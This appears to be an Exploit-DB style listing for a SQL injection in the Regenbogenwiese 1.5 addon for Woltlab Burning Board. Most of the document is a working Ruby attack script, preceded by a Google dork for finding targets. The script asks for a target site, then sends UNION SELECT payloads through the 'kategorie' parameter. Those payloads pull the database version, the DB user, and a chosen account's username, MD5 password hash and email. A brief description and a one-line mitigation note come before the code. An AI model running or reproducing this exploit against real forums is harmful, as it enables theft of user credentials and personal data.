Woltlab Burning Board Regenbogenwiese 2007 Addon SQL Injection Exploit

vendor:

Burning Board Regenbogenwiese 2007 Addon

by:

Easy Laster

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: Burning Board Regenbogenwiese 2007 Addon

Affected Version From: 1.5

Affected Version To: 1.5

Patch Exists: NO

Related CWE: N/A

CPE: a:woltlab:burning_board_regenbogenwiese_2007_addon:1.5

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 8/Backtrack

2013

Woltlab Burning Board Regenbogenwiese 2007 Addon SQL Injection Exploit

This exploit allows an attacker to inject malicious SQL code into the vulnerable Woltlab Burning Board Regenbogenwiese 2007 Addon. The vulnerability exists in the ‘regenbogenwiese.php’ file, where the ‘kategorie’ parameter is vulnerable to SQL injection. An attacker can exploit this vulnerability by sending a specially crafted HTTP request containing malicious SQL code. This code will be executed in the backend database, allowing the attacker to gain access to sensitive information such as usernames, passwords, emails, etc.

Mitigation:

The best way to mitigate this vulnerability is to ensure that all user input is properly sanitized and validated before being used in any SQL queries.

Source

Exploit-DB raw data:

# Exploit Title: Woltlab Burning Board Regenbogenwiese 2007 Addon SQL Injection Exploit
# Google Dork: inurl:regenbogenwiese.php wbb (and more)
# Date: 04.09.2013
# Exploit Author: Easy Laster
# Software Name: Regenbogenwiese v1.5 © 2007 by DieKrabbe
# Version: 1.5
# Tested on: Windows 8/Backtrack
#

#!/usr/bin/ruby
#secunet.cc
#30.07.2013
#regenbogenwiese.php?kategorie='+union+select
#+1,1,1,1,1,1,concat(database(),0x3a,user(),0x
#3a,userid,0x3a,password,0x3a,username,0x3a,em
#ail),1,1,1,1,1,1,1,1+bb1_users+where+userid=1--+
#Discovered and Vulnerability by Easy Laster
print "
################################################################
#                            secunet.cc                        #
################################################################
#PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT#
#Woltlab Burning Board Regenbogenwiese 2007 Addon SQL Injection#
#             (regenbogenwiese.php, kategorie param)           #
#                          Exploit                             #
#                     Using Host+Path+id                       #
#              www.demo.de + /wbb/ + or + / + 1                #
#                         Easy Laster                          #
#PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT#
################################################################
"
require 'net/http'
block = "################################################################"
print ""+ block +""
print "\nEnter Target Name (site.com)->"
host=gets.chomp
print ""+ block +""
print "\nEnter Script Path (/wbb/ or /)->"
path=gets.chomp
print ""+ block +""
print "\nEnter The ID From User (id)->"
userid=gets.chomp
print ""+ block +""
begin
dir =  "regenbogenwiese.php?kategorie=%27+union+select+1,1,1,1,1,1,concat(0x27,0x7e,"+
       "0x27,version(),0x27,0x7e,0x27),1,1,1,1,1,1,1,1+from+bb1_users+where+userid="+
       ""+ userid +"--+"
       http = Net::HTTP.new(host, 80)
       resp= http.get(path+dir)
       print "\nVersion Database -> "+(/'~'(.+)'~'/).match(resp.body)[1]

          dir =  "regenbogenwiese.php?kategorie=%27+union+select+1,1,1,1,1,1,conc"+
          "at(0x27,0x7e,0x27,user(),0x27,0x7e,0x27),1,1,1,1,1,1,1,1+from+bb1_users"+
          "+where+userid="+ userid +"--+"
          http = Net::HTTP.new(host, 80)
          resp= http.get(path+dir)
          print "\nDatabase User  -> "+(/'~'(.+)'~'/).match(resp.body)[1]

             dir =  "regenbogenwiese.php?kategorie=%27+union+select+1,1,1,1,1,1,concat"+
             "(0x27,0x7e,0x27,userid,0x27,0x7e,0x27),1,1,1,1,1,1,1,1+from+bb1_users+wh"+
             "ere+userid="+ userid +"--+"
             http = Net::HTTP.new(host, 80)
             resp= http.get(path+dir)
             print "\nID Account  -> "+(/'~'(.+)'~'/).match(resp.body)[1]

         dir =  "regenbogenwiese.php?kategorie=%27+union+select+1,1,1,1,1,1,concat"+
         "(0x27,0x7e,0x27,username,0x27,0x7e,0x27),1,1,1,1,1,1,1,1+from+bb1_users+w"+
         "here+userid="+ userid +"--+"
         http = Net::HTTP.new(host, 80)
         resp= http.get(path+dir)
         print "\nUsername Account -> "+(/'~'(.+)'~'/).match(resp.body)[1]

      dir =  "regenbogenwiese.php?kategorie=%27+union+select+1,1,1,1,1,1,concat"+
      "(0x27,0x7e,0x27,password,0x27,0x7e,0x27),1,1,1,1,1,1,1,1+from+bb1_users+w"+
      "here+userid="+ userid +"--+"
      http = Net::HTTP.new(host, 80)
      resp= http.get(path+dir)
      print "\nPassword Account MD5 -> "+(/'~'(.+)'~'/).match(resp.body)[1]

   dir =  "regenbogenwiese.php?kategorie=%27+union+select+1,1,1,1,1,1,conc"+
   "at(0x27,0x7e,0x27,email,0x27,0x7e,0x27),1,1,1,1,1,1,1,1+from+bb1_users+"+
   "where+userid="+ userid +"--+"
   http = Net::HTTP.new(host, 80)
   resp= http.get(path+dir)
   print "\nEmail Adresse Account -> "+(/'~'(.+)'~'/).match(resp.body)[1]
    print "\n"     
  print ""+ block +""
   print "\n"
 print "
################################################################
#                            Greetings                         #
################################################################
-#------------------------+     | |      #---------------------+        
-#------------------------+    _|_|_     #---------------------+  
-#------------------------+    (o o)     #---------------------+
-#------------------------+ooO--(_)--Ooo-#---------------------+
################################################################
   "
   rescue
  print "\nExploit Failed"
end